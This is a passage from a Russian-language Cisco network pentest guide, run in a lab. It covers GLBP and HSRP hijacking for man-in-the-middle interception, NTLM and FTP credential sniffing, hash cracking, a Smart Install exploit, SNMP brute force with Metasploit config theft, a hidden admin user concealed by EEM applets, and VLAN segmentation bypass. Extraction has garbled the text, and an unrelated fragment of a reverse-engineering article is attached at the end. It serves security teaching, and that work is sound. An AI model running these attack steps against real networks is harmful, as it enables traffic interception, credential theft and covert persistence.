одной груп пы GLBP. Эда кий «босс» в домене GLBP. AVG ука зыва ет осталь ным
мар шру тиза торам, как рас пре делять тра фик, раз давая им MAC-адре са, ког да
при лета ет ARP-зап рос. Сто ит отме тить, что в домене GLBP AVG-мар шру тиза- 
тор может быть толь ко один, но он так же может быть AVF-чле ном.

AVG (Active Virtual Gateway)

 — мар шру тиза тор в груп пе GLBP,

занима ющий ся обра бот кой тра фика в сети.

AVF (Active Virtual Forwarder)

 — зна чение при ори тета, опре деля ющее, какой мар шру тиза- 
тор в груп пе GLBP будет AVG. По умол чанию это зна чение рав но 100 (диапа- 
зон при ори тета может быть от 1 до 255). Может нас тра ивать ся вруч ную, то
есть сетевой инже нер сам опре деля ет, какой роутер будет «началь ником»,
а какой «под чинен ным». Чем выше при ори тет, тем боль ше веро ятность, что
мар шру тиза тор получит AVG-роль. Обыч но AVG-роль дает ся более мощ ным
мар шру тиза торам.

GLBP Priority

 — зна чение так называ емо го веса мар шру тиза тора в груп пе
GLBP. GLBP Weight опре деля ет уро вень наг рузки на мар шру тиза тор. Это зна- 
чение «пла вающее» и может менять ся в зависи мос ти от наг рузки на физичес- 
кий канал (задей ство ван механизм Object Tracking), но мож но нас тро ить его
и вруч ную.

GLBP Weight

 — вир туаль ный IP-адрес в домене GLBP.

Исполь зует ся в качес тве адре са шлю за по умол чанию для легитим ных хос тов.

GLBP Virtual IP Address

Для тран сля ции и обра бот ки слу жеб ной информа ции GLBP исполь зует
зарезер вирован ный IP-адрес груп повой рас сылки  и про токол

тран спортно го уров ня UDP под номером пор та 3222. Спе циаль ные пакеты
при ветс твия GLBP Hello отправ ляют ся каж дые три секун ды. Если в течение
десяти секунд GLBP-мар шру тиза тор не получил пакет при ветс твия от соседа,
то сосед будет приз нан «мер твым» и выпадет из домена GLBP.

224.0.0.102

GLBP Hijacking
Тех ника этой сетевой ата ки зак люча ется в том, что бы навязать свое устрой ство
в качес тве глав ного мар шру тиза тора с помощью инъ екции вре донос ного
пакета GLBP с мак сималь ным зна чени ем при ори тета. Успешная экс плу ата ция
при водит к DoS- или MITM-ата ке, в резуль тате которой ты смо жешь перех- 
ватить тра фик внут ри сети, про вес ти редирект или выз вать DoS, так как ты зах- 
ватыва ешь роль AVG-мар шру тиза тора. Дос таточ но соб рать GLBP-пакет
с наивыс шим зна чени ем при ори тета 255 и нап равить его в сто рону локаль ной
сети.

Как будет ходить тра фик до про веде ния ата ки

Как будет ходить тра фик пос ле про веде ния ата ки

Loki
Для демонс тра ции этой ата ки я буду исполь зовать Loki. Он выпол нит вре- 
донос ную GLBP-инъ екцию с мак сималь ным зна чени ем при ори тета 255 и мак- 
сималь ным зна чени ем веса 255. Но перед про веде нием ата ки нуж но изу чить
сле дующую информа цию:

вир туаль ный IP-адрес, исполь зующий ся в GLBP-домене;•
на личие аутен тифика ции;•
зна чение при ори тетов мар шру тиза торов.•

Эту информа цию мы смо жем извлечь с помощью ана лиза тра фика GLBP. Вос- 
поль зуем ся Wireshark.

Как видим, в про цес се GLBP задей ство ваны толь ко два мар шру тиза тора:
10.10.100.100 и 10.10.100.200.

GLBP-объ явле ния от двух мар шру тиза торов

Ин форма ция о кон фигура ции GLBP пер вого мар шру тиза тора

Ин форма ция о кон фигура ции GLBP вто рого мар шру тиза тора

Пос ле ана лиза GLBP-тра фика мы име ем сле дующее:
об наруже на мис конфи гура ция в рам ках нас трой ки при ори тетов. AVG-роуте- 
ром счи тает ся GLBP-мар шру тиза тор с при ори тетом 200, то есть век тор
для уго на GLBP у нас есть;

•

от сутс тву ет аутен тифика ция;•
вир туаль ный IP-адрес, исполь зующий ся в GLBP-домене, — 

.
• 10.10.100.
254

Об ладая этой инфой, мы можем без тру да ата ковать GLBP. Рас чехля ем Loki.

Loki обна ружил объ явле ния GLBP с двух мар шру тиза торов

Пе ред про веде нием ата ки перек люча емся в нераз борчи вый режим и раз реша- 
ем мар шру тиза цию тра фика:

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc 
1 necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=

Вы бира ем мар шру тиза тор под IP-адре сом  и акти виру ем

опцию Get IP. Так же нуж но сге нери ровать Gratuitous ARP.

10.10.100.100

На чало ата ки

Стро ение вре донос ной GLBP-инъ екции

Как видим, теперь AVG-роуте ром прит воря ется ата кующая сис тема. Зна чение
при ори тета 255, зна чение веса — 255, то есть мак сималь ные.

Пос ле выпол нения инъ екции необ ходимо соз дать вто рич ный IP-адрес
на нашем сетевом интерфей се со зна чени ем вир туаль ного IP-адре са в домене
GLBP. Так же нуж но задать 24-бит ную мас ку. Так легитим ный тра фик будет
завора чивать ся на нас, пос коль ку исполь зующий ся вир туаль ный IP-адрес
в домене GLBP явля ется адре сом шлю за по умол чанию для хос тов.

necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 
255.255.255.0 

Что бы видеть не толь ко вхо дящий тра фик, но и исхо дящий, нам понадо бит ся
неболь шое пра вило для Source NAT (masquerading):

 nat necreas1ng@Inguz:~$ sudo iptables -t -A POSTROUTING -o eth0 -j
MASQUERADE 

Так же нуж но уда лить мар шрут по умол чанию на нашей машине и про писать
новый, который будет ходить через быв ший AVG-мар шру тиза тор (его адрес —

). Даже нес мотря на то, что мы отжа ли AVG-роль у мар шру тиза- 
тора, он все рав но смо жет выпол нить мар шру тиза цию тра фика.
10.10.100.100

necreas1ng@Inguz:~$ sudo route del default 
necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 
gw 10.10.100.100 

Вот и все, теперь мы ста ли тем самым «челове ком посере дине»! Запущу инс- 
тру мент  для ана лиза тра фика, что бы поис кать важ ные дан ные.
Нап ример, незашиф рован ный FTP-тра фик или NTLM-хеши.

net-creds.py

necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i 
eth0 

Пос ле запус ка ути литы поп робую про честь SMB-шару с IP-адре сом 
, которую находят GLBP-мар шру тиза торы.

172.16.
100.70

 user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy 

Пе рех вачен ный NTLM-хеш поль зовате ля mercy

Вот таким обра зом мож но перех ватывать тра фик внут ри сети, ата куя домены
GLBP.

Óãîí HSRP è ïåðåõâàò òðàôèêà
HSRP (Hot Standby Router/Redundancy Protocol) — проп риетар ный про токол
Cisco, который поз воля ет обес печить избы точ ность сетево го шлю за. Общая
идея зак люча ется в том, что бы объ еди нить нес коль ко физичес ких мар шру тиза- 
торов в один логичес кий с общим IP-адре сом. Этот адрес вир туаль ного мар- 
шру тиза тора будет наз начать ся на интерфейс мар шру тиза тора с гла венс тву- 
ющей ролью, а тот, в свою оче редь, зай мет ся фор вардин гом тра фика.
В домене HSRP задача обра бот ки все го тра фика ложит ся имен но на мар шру- 
тиза тор с гла венс тву ющей ролью, в отли чие от GLBP, где пред лагалось рас- 
пре деле ние наг рузки за счет исполь зования спе циаль ных мет рик (при ори тет
и вес).

Ðîëè â HSRP-äîìåíå è òåðìèíîëîãèÿ
 — устрой ство, игра ющее роль вир туаль ного мар шру- 

тиза тора и обес печива ющее фор вардинг тра фика из сетей источни ка
до сетей наз начения.

• HSRP Active Router

 — устрой ство, игра ющее роль резер вно го мар- 

шру тиза тора, которое ожи дает отка за активно го мар шру тиза тора. Пос ле
падения основно го Active-роуте ра Standby-роутер возь мет на себя гла венс- 
тву ющую роль и будет занимать ся обя зан ностя ми Active-роуте ра.

• HSRP Standby Router

 — груп па устрой ств, которая обес печива ет работу и отка- 

зоус той чивость логичес кого мар шру тиза тора.

• HSRP Group

 — вир туаль ный MAC-адрес логичес кого мар шру тиза- 

тора в домене HSRP.

• HSRP MAC Address

 — это спе циаль ный вир туаль ный IP-адрес

в груп пе HSRP. Этот IP-адрес будет шлю зом по умол чанию для конеч ных
хос тов, исполь зует ся на самом логичес ком мар шру тиза торе.

• HSRP Virtual IP Address

Âåðñèè ïðîòîêîëà HSRP
У про токо ла HSRP есть две вер сии — HSRPv1 и HSRPv2. Они отли чают ся сле- 
дующи ми парамет рами:

ко личес тво воз можных логичес ких групп. В HSRPv1 их может быть до 255.
У HSRPv2 количес тво групп может дос тигать 4096;

•

IP-адрес муль тикас товой рас сылки. HSRPv1 для тран сля ции слу жеб ной
информа ции исполь зует IP-адрес , а HSRPv2 — ;

•
224.0.0.2 224.0.0.102

вир туаль ный MAC-адрес. HSRPv1 в качес тве вир туаль ного MAC-адре са
исполь зует . У HSRPv2 вир туаль ный MAC-адрес 

 (где  — это номер груп пы HSRP).

•
00:00:0C:07:AC:XX 00:

00:0C:9F:FX:XX XX

Для тран сля ции и обра бот ки слу жеб ной информа ции HSRP исполь зует
зарезер вирован ный IP-адрес груп повой рас сылки  или 
(в зависи мос ти от вер сии HSRP) и про токол тран спортно го уров ня UDP
с номером пор та 1985. Спе циаль ные пакеты при ветс твия HSRP Hello отправ- 
ляют ся каж дые три секун ды. Если в течение десяти секунд HSRP-мар шру тиза- 
тор не получил пакет при ветс твия от соседа, то сосед будет приз нан «мер- 
твым» и выпадет из домена HSRP.

224.0.0.2 224.0.0.102

HSRP Hijacking
Здесь абсо лют но все то же самое, что с GLBP Hijacking. Нам необ ходимо про- 
вес ти вре донос ную HSRP-инъ екцию с мак сималь ным зна чени ем при ори- 
тета 255. Это поз воля ет зах ватить роль Active-мар шру тиза тора, что откры вает
воз можнос ти для MITM-ата ки. Но опять же перед про веде нием ата ки нам нуж- 
но изу чить сле дующую информа цию:

вир туаль ный IP-адрес, исполь зующий ся в HSRP-домене;•
на личие аутен тифика ции;•
зна чение при ори тетов мар шру тиза торов.•

Эту информа цию мы смо жем извлечь с помощью ана лиза тра фика HSRP. Вос- 
поль зуем ся Wireshark.

Как вид но на скрин шоте, в про цес се HSRP задей ство ваны толь ко два мар- 
шру тиза тора с адре сами  и .10.10.100.100 10.10.100.200

HSRP-объ явле ния от двух мар шру тиза торов

Ин форма ция о пер вом HSRP-мар шру тиза торе

Ин форма ция о вто ром HSRP-мар шру тиза торе

Ис ходя из ана лиза HSRP-тра фика, мы име ем сле дующее:
об наруже на мис конфи гура ция в рам ках нас трой ки при ори тетов. Active-
роуте ром счи тает ся HSRP-мар шру тиза тор с при ори тетом 200, то есть век- 
тор для уго на HSRP у нас есть;

•

ис поль зуемый вир туаль ный IP-адрес в HSRP-домене — ;• 10.10.100.254
ис поль зует ся MD5-аутен тифика ция.•

На личие аутен тифика ции в домене свя зыва ет нам руки, но ско ро я это исправ- 
лю.

Authentication Bypassing
Дамп тра фика HSRP сох раня ем в фор мате .pcap, что бы эксфиль тра тор смог
кор рек тно извлечь хеши MD5 из дам па.

В качес тве эксфиль тра тора я буду исполь зовать :hsrp2john.py

necreas1ng@Inguz:~/cisconightmare/exfiltrate$ python2 hsrp2john.
py hsrp_with_authentication.pcap 

Из вле чен ные из дам па HSRP-тра фика хеши MD5

Хе ши я сбру чу с помощью , ука жем сами хеши в качес тве
вход ных дан ных. А с помощью клю ча  ука жу путь до сло варя:

John the Ripper

--wordlist

necreas1ng@Inguz:~/cisconightmare/exfiltrate$ john hsrp_hashes 
--wordlist=wordlistforbrute 

Взло ман ный пароль от домена HSRP

В ито ге мы име ем ключ для вхо да в домен HSRP — .endgame

Loki
Для ата ки на про токол HSRP буду исполь зовать все тот же Loki. У него, помимо
про чего, есть воз можность инжекта с клю чом, что помога ет обхо дить аутен- 
тифика цию. Рань ше, в раз деле HSRP Hijacking, мы получи ли всю необ ходимую
информа цию о домене HSRP.

За пус каем Loki.

Loki обна ружил HSRP-объ явле ния

Не забыва ем перед про веде нием ата ки перек лючить ся в нераз борчи вый
режим и раз решить мар шру тиза цию тра фика:

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc 
1 necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=

Вы бира ем мар шру тиза тор с адре сом 10.10.100.100 и при ори тетом 200.
В качес тве парамет ра Secret вво дим взло ман ный пароль от домена HSRP,
генери руем Gratuitous ARP и выбира ем опцию Get IP.

На чало ата ки

Стро ение вре донос ной HSRP-инъ екции

Как мы видим, теперь Active-роуте ром явля ется наша ата кующая сис тема.
Зна чение при ори тета — 255.

Пос ле выпол нения инъ екции необ ходимо соз дать вто рич ный IP-адрес
на нашем сетевом интерфей се со зна чени ем вир туаль ного IP-адре са в HSRP-
домене. Так же нуж но ука зать 24-бит ную мас ку. Таким обра зом, легитим ный
тра фик будет завора чивать ся на нас, пос коль ку при меня емый вир туаль ный IP-
адрес в домене HSRP — это адрес шлю за по умол чанию для хос тов.

necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 
255.255.255.0 

Нас тра иваем извес тный нам Source NAT (masquerading) для перех вата все го
тра фика:

 nat necreas1ng@Inguz:~$ sudo iptables -t -A POSTROUTING -o eth0 -j
MASQUERADE 

Уда ляем мар шрут по умол чанию на нашей машине и про писы ваем новый,
который будет ходить через быв ший Active-мар шру тиза тор (его адрес 

). Даже нес мотря на то, что мы отжа ли активную роль у мар шру тиза- 

тора, он все рав но смо жет выпол нить мар шру тиза цию тра фика.

10.10.
100.100

necreas1ng@Inguz:~$ sudo route del default 
necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 
gw 10.10.100.100 

Те перь мы «человек посере дине». Запус каем :net-creds.py

necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i 
eth0 

Пос ле запус ка ути литы я вос про изве ду попыт ку прой ти аутен тифика цию
на сер вере FTP по адре су .172.16.100.140

user@Boundless:~$ ftp 172.16.100.140 

Пе рех вачен ные кре ды от FTP-сер вера

В ито ге получа ем кре ды от сер вера FTP: .insomnia:betrayal
Вот так мож но ата ковать домен HSRP и перех ватывать тра фик. В прин ципе,

все похоже на GLBP.

Продолжение статьи →

https://github.com/DanMcInerney/net-creds
https://github.com/DanMcInerney/net-creds


БОЛЬШОЙ ГАЙД ПО ПЕНТЕСТУ СЕТЕЙ CISCO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÝÊÑÏËÓÀÒÀÖÈß CISCO SMART INSTALL

Cisco Smart Install — это Cisco, приз ванный авто мати зиро вать про цесс пер- 
воначаль ной кон фигура ции и заг рузки обра за опе раци онной сис темы
для нового обо рудо вания Cisco. По умол чанию Cisco Smart Install акти вен
на обо рудо вании Cisco и исполь зует про токол тран спортно го уров ня — TCP
с номером пор та 4786.

В 2017 году в этом про токо ле наш ли кри тичес кую уяз вимость 
. Уро вень опас ности — 9,8 бал ла по шка ле CVSS.

CVE-2018-
0171

Спе циаль но соб ранный пакет, который отправ ляет ся на порт TCP/4786, где
акти вен Cisco Smart Install, триг герит перепол нение буфера, вследс твие чего
зло умыш ленник смо жет:

при нуди тель но перезаг рузить устрой ство;•
выз вать RCE;•
по хитить кон фигура ции сетево го обо рудо вания.•

Для экс плу ата ции этой уяз вимос ти был раз работан инс тру мент  (Smart

Install Exploitation Tool), он поз воля ет абь юзить Cisco Smart Install. В этой статье
я покажу, как мож но счи тать легитим ный файл кон фигура ции сетево го обо- 
рудо вания. Эксфиль тра ция кон фигов может быть цен на для пен тесте ра, пос- 
коль ку он узна ет об уни каль ных осо бен ностях сети. А это облегчит жизнь и поз- 
волит най ти новые век торы для ата ки.

SIET

В качес тве целево го устрой ства выс тупит «живой» ком мутатор Cisco
Catalyst 2960. На вир туаль ных обра зах нет Cisco Smart Install, поэто му поп- 
ракти ковать ся удас тся толь ко на нас тоящем железе.

Ад рес целево го ком мутато ра — , CSI акти вен. Заг ружа ем

SIET и начина ем ата ку. Аргу мент  озна чает эксфиль тра цию кон фигура ции

с устрой ства, аргу мент  поз воля ет задать IP-адрес уяз вимой цели.

10.10.100.10
-g

-i

 necreas1ng@Inguz:~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.
10.100.10 

Ус пешная экс плу ата ция уяз вимос ти

Кон фиг ком мутато ра  будет находить ся в пап ке .10.10.100.10 tftp/

Часть содер жимого кон фигура ции ком мутато ра

ÝÊÑÔÈËÜÒÐÀÖÈß ÊÎÍÔÈÃÓÐÀÖÈÈ È ÏÅÐÅ×ÈÑËÅÍÈÅ ×ÅÐÅÇ

SNMP

SNMP (Simple Network Management Protocol) — про токол, который поз воля ет
отсле живать сос тояние устрой ств в компь ютер ной сети. Это может быть
сетевое обо рудо вание, IP-телефо ны, кор поратив ные сер веры или что-то еще.

SNMP исполь зует про токол тран спортно го уров ня UDP с номера ми пор- 
тов 161/UDP и 162/UDP. Для обра щения аген тов SNMP к сер веру исполь зуют- 
ся так называ емые community strings. Это, ска жем так, спе циаль ные пароли
для вза имо дей ствия с SNMP-сер вером. У community strings есть пра ва либо
RO (read-only, толь ко чте ние), либо RW (read-write — и чте ние, и запись).

На самом деле SNMP может не толь ко отсле живать сос тояние обо рудо- 
вания, но и пол ноцен но им управлять: дам пить кон фиги, изме нять кон фигура- 
цию и так далее. Если пен тестер смо жет переб рать зна чение community
strings, он фак тичес ки получа ет дос туп к обо рудо ванию. Впро чем, все зависит
от того, какую стро ку он сбру тит — на RO или на RW.

Ра боту про токо ла SNMP я опи сал в общих чер- 
тах, рекомен дую тебе изу чить сле дующие
матери алы, что бы было понят нее, как работа ет
SNMP под капотом.
•Simple Network Management Protocol (Wikipedia)
•Network Basics: What Is SNMP and How Does It

Work?

Брут форс community-строк мож но реали зовать с помощью ути литы
. В качес тве вход ных дан ных она будет при нимать сло варь

для брут форса и IP-адре са целевых хос тов. В качес тве целей выс тупят:

onesixtyone

10.10.100.10 — ком мутатор Cisco vIOS;•
10.10.100.254 — мар шру тиза тор Cisco vIOS.•

necreas1ng@Inguz:~/snmp$ onesixtyone -c communitystrings -i 
targets 

Вы ясне ны зна чения community strings

Мы выяс няли, какие community strings исполь зуют ся на тех устрой ствах.
Это откры вает нам дорогу для экс плу ата ции.

cisco_config_tftp

С помощью фрей мвор ка , а имен но модуля ,

мож но выдер нуть кон фигура цию устрой ства, зная зна чение community string.
Стро ка, име ющая пра ва на RW, — .

Metasploit cisco_config_tftp

private
Нам понадо бит ся сле дующее:
зна чение стро ки, име ющей пра ва на RW ( );• COMMUNITY
IP-адрес ата кующей сис темы ( );• LHOST
IP-адрес целево го обо рудо вания ( );• RHOSTS
путь, по которо му модуль выведет кон фигура цию устрой ства ( ).• OUTPUTDIR

  msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY 
private 

  msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.
100.10 

  msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.
100.50 

  msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /
home/necreas1ng/snmp 

 msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit 

Пос ле запус ка модуля в ука зан ную пап ку будет выкача на кон фигура ция хос та
с адре сом  ( ).10.10.100.10 10.10.100.10.txt

Часть содер жимого кон фигура ции обо рудо вания SW1

snmp_enum

С помощью это го модуля мож но узнать информа цию о целевом обо рудо вании.
Все абсо лют но то же самое: ука зыва ем  (кста ти, подой дет даже

стро ка с пра вами RO) и IP-адрес целево го устрой ства.

COMMUNITY

  msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public 

  msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 

 msf6 auxiliary(scanner/snmp/snmp_enum) > exploit 

Ин форма ция об устрой стве, получен ная через SNMP

Продолжение статьи →

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0171
https://github.com/frostbits-security/SIET
https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
https://www.auvik.com/franklyit/blog/network-basics-what-is-snmp/#:~:text=SNMP%20has%20a%20simple%20architecture,component%20connected%20to%20the%20network
https://github.com/trailofbits/onesixtyone
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ÏÎÑÒÝÊÑÏËÓÀÒÀÖÈß ÂÇËÎÌÀÍÍÎÃÎ ÓÑÒÐÎÉÑÒÂÀ

Bruteforce hashes

Ког да ты перечис ляешь кон фигура цию устрой ства, есть смысл попытать ся
сбру тить хеши паролей. Вдруг тебе удас тся сбру тить хеш пароля той учет ной
записи, которая име ет мак сималь ные при виле гии. В Cisco IOS есть нес коль ко
типов паролей, которые хра нят ся в зашиф рован ном виде. Таб личка ниже сори- 
енти рует тебя по типам хешей, как бру тить и сколь ко вре мени понадо бит ся.

Таб лица хешей в Cisco IOS

Те перь прис тупа ем к самому брут форсу. В выводе коман ды  ты
навер няка нат кнешь ся на эти строч ки.

show run

Учет ные записи и их пароли в зашиф рован ном виде

Брут форс хешей я про веду через ути литу John the Ripper. Нем ного отформа- 
тирую хеши, что бы «Джон» смог рас познать сами хеши внут ри фай ла, который
мы будем подавать в качес тве вход ных дан ных.

Хе ши перед фор матиро вани ем

Хе ши пос ле фор матиро вания

На чина ем брут форс. С помощью клю ча  ука зыва ем путь до сло- 

варя. «Джон» сам опре делит тип хешей внут ри фай ла.

--wordlist

Взло ман ные пароли поль зовате лей lies и anxious

По лучен ные кре ды: , .anxious:Secret123 lies:P@ssw0rd
Поп робу ем зай ти на мар шру тиза тор  от име ни поль зовате ля

.
10.10.10.100

lies

Вход в панель управле ния мар шру тиза тором от име ни lies

Cisco EEM

 — это, ска жем так, «язык прог рамми рова ния», с помощью которо- 

го мож но писать сце нарии для Cisco IOS и авто мати зиро вать рутин ные задачи.
В рам ках пен теста Cisco EEM поможет нам спря тать соз данно го нами поль- 
зовате ля на взло ман ном устрой стве.

Cisco EEM

Но! У такого метода есть и свои недос татки:
есть неболь шая веро ятность спа лить ся в логах сер вера SYSLOG или SNMP;•
ес ли сетевой инже нер тоже исполь зует Cisco EEM, он может заподоз рить
что-то нелад ное.

•

Сна чала нам нуж но соз дать самого поль зовате ля, который будет при менять ся
для зак репле ния на обо рудо вании. Сле ди, что бы у ника тоже был пре фикс

. С помощью это го пре фик са мы и будем пря тать соз данно го нами
поль зовате ля по мас ке :
hidden_

| hidden

Owned(config)# username hidden_grimoire privilege 15 secret 
youcantseewhatyouwannasee

Ïðÿ÷åìñÿ îò âûâîäà êîìàíäû show run

Эту коман ду очень час то при меня ют сетевые инже неры, она выводит кон- 
фигура цию устрой ства, которая исполь зует ся в дан ный момент.

Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude 
hidden | event | action"
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet"

Ïðÿ÷åìñÿ îò âûâîäà êîìàíäû show ssh

А эта коман да выводит активных в дан ный момент поль зовате лей, под клю чен- 
ных через SSH.

Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show ssh | exclude 
hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"

Ïðÿ÷åìñÿ îò âûâîäà êîìàíäû show users

Вы водит активных в дан ный момент поль зовате лей, под клю чен ных через VTY.
Обыч но это уда лен ные сес сии Telnet и SSH.

Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show users | 
exclude hidden"
Owned(config-applet)# action 2.0 puts 
"$_cli_result_showusersapplet"

Ïðÿ÷åìñÿ îò âûâîäà êîìàíäû show log (ëîêàëüíîå ëîãèðîâàíèå

Cisco IOS)

Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show log | exclude 
HA_EM | hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"

У аппле тов EEM мно го инте рес ных фун кций, советую не огра ничи вать ся эти ми
спо соба ми. Толь ко не доведи бед ного сетеви ка до инфар кта с эти ми аппле- 
тами! :)

Lateral VLAN Segmentation Bypass

Ес ли ты получил дос туп к ком мутато ру, к которо му ты под клю чен нап рямую,
у тебя появ ляет ся воз можность обхо да VLAN-сег мента ции внут ри сети. Дос- 
таточ но перек лючить порт в режим магис траль ного канала (ина че называ емый
тран ком), соз дать вир туаль ные интерфей сы с иден тифика тора ми целевых
VLAN-сетей и нас тро ить IP-адрес. Мож но поп робовать зап росить адрес
динами чес ки (DHCP), а мож но нас тро ить ста тичес ки. Смот ря какой слу чай.

Сна чала нуж но выяс нить, к какому имен но пор ту ты под клю чен. Это дела- 
ется через CDP-сооб щения, либо можешь поис кать порт по мас ке .include

CDP-объ явле ние от ком мутато ра. Мы на пор те GigabitEthernet 0/2

Ес ли вдруг CDP отклю чен, мож но поп робовать поис кать порт по нашему MAC-
адре су.

SW1(config)# show mac address-table | include 0050.0000.0500

Най ден порт Gi0/2 по MAC-адре су

Пе ред тем как перек лючить ся в режим тран ка, необ ходимо перечис лить
сущес тву ющие сети VLAN, выяс нить их иден тифика торы. Потом эти иден- 
тифика торы мы будем вешать на свой интерфейс, что бы получать дос туп
к сетям VLAN. Таким обра зом, бла года ря тран ку мы можем получить дос туп
в любую сеть VLAN. Кста ти говоря, порт, к которо му мы под клю чены, при над- 
лежит сети VLAN 10.

SW1# show vlan brief 

Ин форма ция о текущих сетях VLAN

Прис тупим. Вхо дим в режим кон фигура ции интерфей са и перехо дим в тран- 
ковый режим.

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Во вре мя перек лючения в режим магис траль ного канала теря ется связ ность.
Но ско ро я это исправ лю.

По теря связ ности в момент перек лючения режима пор та

Соз даем вир туаль ные интерфей сы и «веша ем» на них VLAN ID, а затем под- 
нима ем их.

necreas1ng@Inguz:~$ sudo vconfig add eth0 10 
necreas1ng@Inguz:~$ sudo vconfig add eth0 20 
necreas1ng@Inguz:~$ sudo vconfig add eth0 50 
necreas1ng@Inguz:~$ sudo vconfig add eth0 60 
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up 
necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up 
necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up 
necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up 

Те перь нуж но зап росить адрес по DHCP. Но если в тво ем слу чае не будет такой
воз можнос ти, мож но нас тро ить адрес ста тичес ки.

necreas1ng@Inguz:~$ sudo dhclient -v eth0.10 
necreas1ng@Inguz:~$ sudo dhclient -v eth0.20 
necreas1ng@Inguz:~$ sudo dhclient -v eth0.50 
necreas1ng@Inguz:~$ sudo dhclient -v eth0.60 

По лучен ные по DHCP адре са

При мер нас трой ки ста тичес кого IP-адре са на интерфей се (VLAN 10):

necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.
255.255.0 

Для про вер ки свя зи ини циирую ICMP-зап росы до шлю зов по умол чанию
для сетей VLAN 10, 20, 50, 60.

Связ ность до шлю зов

В ито ге я обо шел VLAN-сег мента цию и могу про бить ся в любую VLAN-сеть,
что раз вязыва ет мне руки для сле дующих шагов.

Configuration Enumeration

Êëàññè÷åñêîå ïåðå÷èñëåíèå êîíôèãóðàöèè

С помощью коман ды  мож но выяс нить, какая кон фигура ция исполня- 
ется в дан ный момент. Это рас кры вает некото рые осо бен ности инфраструк- 
туры. Воз можно, эта информа ция при ведет тебя к более лег кой «победе»
во вре мя пен теста. Нап ример, вдруг ты обна ружишь исполь зование AAA-сер- 
вера, что дает еще один век тор ата ки.

show run

Owned# show run 

Пе речис ление кон фигура ции, часть 1

Пе речис ление кон фигура ции, часть 2

Cisco IOS ver. enumeration

Бу дет полез но узнать вер сию Cisco IOS на устрой стве. С помощью этой
информа ции пен тестер смо жет переб рать вер сию Cisco IOS и, узнав ее, экс- 
плу ати ровать уяз вимос ти. Вдруг он попал на роутер с учет кой read-only,
а потен циаль ное наличие уяз вимос ти даст ему LPE? Кто зна ет...

Owned# show version 

Вер сия Cisco vIOS

CCAT

CCAT (Cisco Cong Analysis Tool) — это спе циаль ный , соз данный
для ана лиза фай лов кон фигура ции обо рудо вания Cisco на пред мет бре шей
в безопас ности. Он поможет авто мати зиро вать про цесс поис ка мис конфи гура- 
ций безопас ности и будет полезен как пен тесте рам, так и сетевым адми нис- 
тра торам.

инс тру мент

necreas1ng@Inguz:~/ccat$ python3 ccat.py showrunfromsw1.txt 

CCAT ана лизи рует файл кон фигура ции

ÂÛÂÎÄÛ

Вот какие кош мары могут воз никнуть в сетях, где исполь зует ся обо рудо вание
Cisco, если их адми нис три руют недаль новид ные сетевые инже неры. На это
иссле дова ние я пот ратил пол тора месяца и был удив лен, сколь ко век торов
сущес тву ет при ата ке на Cisco-based-сети. Очень наде юсь, что мое иссле- 
дова ние подарит пен тесте рам новые век торы атак, а сетевые адми нис тра торы
задума ются о защищен ности сво их сетей и при мут меры.

https://github.com/frostbits-security/ccat
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ВЗЛОМ

Се год ня мы с тобой научим ся находить любые типы цик лов
в коде реаль ных прог рамм на язы ках высоко го уров- 
ня — пос тро енных с опти миза цией и без нее. Это шаг,
с которым ты стол кнешь ся при обратной раз работ ке при- 
ложе ний. При этом опре деле ние цик ла — это толь ко пол- 
дела. Далее нуж но разоб рать ся в его механиз ме, выделить
исполь зуемые дан ные и кор рек тно деком пилиро вать, прев- 
ратив в строй ный код на язы ке высоко го уров ня. Без это го
точ ное понима ние алго рит ма прог раммы невоз можно.

Для понима ния про исхо дяще го тебе не помеша ет озна комить ся и с 
, где мы рас смот рели теорию устрой ства раз ных видов цик лов на язы- 

ках высоко го уров ня и их отра жение в дизас сем блер ных лис тингах. А сей час
нас тало вре мя прак тики!

прош лой
стать ей

